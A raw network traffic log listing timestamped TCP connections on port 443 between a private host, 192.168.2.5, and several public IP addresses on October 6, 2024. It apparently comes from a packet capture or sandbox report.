Oct 6, 2024 14:08:19.286622047 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.336894989 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.336911917 CEST	443	49717	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:19.340917110 CEST	443	49717	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:19.341037989 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.351196051 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.351269960 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.351339102 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.451523066 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.451812029 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.451831102 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.452728033 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.452851057 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.453332901 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.453389883 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.453555107 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.453566074 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.535043001 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.705893993 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.705959082 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.706289053 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.706317902 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.706357956 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.706422091 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.706429958 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.707277060 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.707313061 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.707336903 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.707346916 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.707379103 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.708225965 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.708796978 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.708831072 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.708880901 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.708892107 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.708950996 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.744489908 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.744512081 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.744519949 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.744549036 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.744566917 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.744574070 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.744612932 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.744612932 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.744637012 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.744791985 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.794421911 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.794605970 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.794661999 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.794689894 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.795492887 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.795557976 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.795564890 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.795655966 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.795706034 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.795712948 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.796468019 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.796520948 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.796529055 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.797002077 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.797055006 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.797063112 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.798054934 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.798110008 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.798118114 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.798882008 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.798954010 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.798962116 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.799035072 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.799128056 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.799134970 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.799906969 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.799957037 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.799964905 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.800887108 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.800936937 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.800944090 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.801029921 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.801074028 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.801083088 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.845479965 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.845504045 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.845597029 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.845597029 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.845606089 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.850549936 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.850615978 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.850621939 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.855712891 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.855792999 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.855834961 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.855889082 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.855974913 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:19.855998993 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:19.882855892 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.882925034 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.882937908 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.883058071 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.883104086 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.883110046 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.883979082 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.884032011 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.884040117 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.884130955 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.884275913 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.884282112 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.884363890 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.884495974 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.884505033 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.884514093 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.918119907 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.918277025 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.918282986 CEST	443	49717	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:19.918550014 CEST	443	49717	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:19.918611050 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.918612003 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.918621063 CEST	443	49717	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:19.919063091 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.919892073 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.919941902 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:19.920139074 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.921175957 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:19.921195030 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:19.939224005 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.939238071 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.939410925 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.939934969 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.939950943 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.953157902 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.953253031 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.953344107 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.953461885 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.953490973 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.953551054 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.954238892 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.954263926 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.954437971 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.954629898 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.954637051 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.954775095 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.954875946 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.954884052 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.954973936 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.955149889 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.955178976 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.955279112 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.955854893 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.955888033 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.956423998 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.956437111 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.956882000 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:19.956903934 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:19.957034111 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:19.957381964 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.957403898 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.958035946 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.958048105 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.958235979 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.958245993 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.958631039 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:19.958652020 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:19.958749056 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:19.959152937 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:19.959186077 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:19.959697962 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:19.959724903 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:19.959861040 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:19.959875107 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.398281097 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.399112940 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.399152040 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.399631977 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.400789022 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.400875092 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.401038885 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.402038097 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:20.402390003 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:20.402400017 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:20.403896093 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:20.403970003 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:20.404683113 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:20.404937983 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:20.404944897 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:20.406389952 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:20.428448915 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.428680897 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.428711891 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.430332899 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.430402994 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.437400103 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.437490940 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.437952995 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.437964916 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.444111109 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.444638968 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.444699049 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.445591927 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.445693970 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.446947098 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.447009087 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.447309971 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.447326899 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.447405100 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.504770041 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:20.504805088 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:20.504849911 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.532326937 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.532373905 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.533751011 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.535721064 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.535789967 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.535815001 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.536138058 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.536196947 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.536206961 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.536746979 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.536791086 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.536801100 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.538121939 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.538182974 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.538197994 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.538835049 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.538894892 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.538902998 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.551927090 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.551996946 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.552021980 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.594511032 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.595272064 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.595302105 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.595324039 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.595360041 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.595542908 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.595946074 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.596569061 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.596596956 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.596623898 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.596658945 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.596683025 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.596712112 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.599360943 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.599456072 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.599487066 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.599530935 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.599585056 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.599597931 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.601581097 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.601921082 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.601928949 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.602921963 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.602976084 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.604687929 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.605149031 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.605201006 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.605493069 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.605499029 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.605710983 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.605719090 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.606272936 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.606625080 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.606679916 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.606699944 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.606712103 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.606942892 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.607160091 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.607215881 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.607275009 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.607301950 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.607485056 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.607491970 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.607806921 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.607817888 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.608349085 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.608407974 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.608922958 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.608980894 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.609383106 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.609467983 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.610524893 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.610614061 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.610821009 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.610825062 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.611041069 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.611114979 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.611231089 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.613622904 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.613708019 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.613864899 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.616945028 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.617295980 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.617311954 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.620815039 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.620898008 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.621284962 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.621361971 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.621575117 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.621583939 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.622855902 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.622997046 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.623009920 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.623449087 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.623605013 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.623613119 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.623899937 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.623950005 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.623956919 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.624607086 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.624671936 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.624677896 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.624767065 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.624815941 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.624823093 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.625446081 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.625502110 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.625510931 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.625839949 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.625906944 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.625914097 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.626338959 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.626396894 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.626404047 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.627058983 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.627123117 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.627129078 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.627804041 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.627871037 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.627877951 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.639643908 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.639769077 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.639780045 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.639801025 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.639892101 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.639899969 CEST	443	49730	151.101.130.137	192.168.2.5
